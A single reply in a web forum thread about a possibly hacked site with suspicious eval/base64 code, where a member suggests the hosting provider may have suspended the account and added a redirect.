- Me -

"Headers already sent" - The definitive help

"Cannot redeclare ..." - How to find/fix it

SSL Implementation Help

Like this post? "Like" it again over there >

Back to top

#155 DunWeb

The Censored One

Members
12,816 posts

Real Name:Chris
Gender:Male
Location:Ontario, Canada

@Mention

Posted 12 July 2012 - 02:32 AM

Actually looks to me like your hosting account was taken offline by your hosting provider for non-payment and they added the code to your site to redirect you to contact them. HOWEVER, they would not have left the FTP account open for you to see what they did.

Very strange indeed !

Chris

:|: Was this post helpful ? Click the LIKE THIS button :|:

See my Profile to learn more about add ons, templates, support plans and custom coding (click here)

Back to top

«
Prev

Back to Security

Did Someone hack my site ? ( Eval Base64 Decode )

Sign In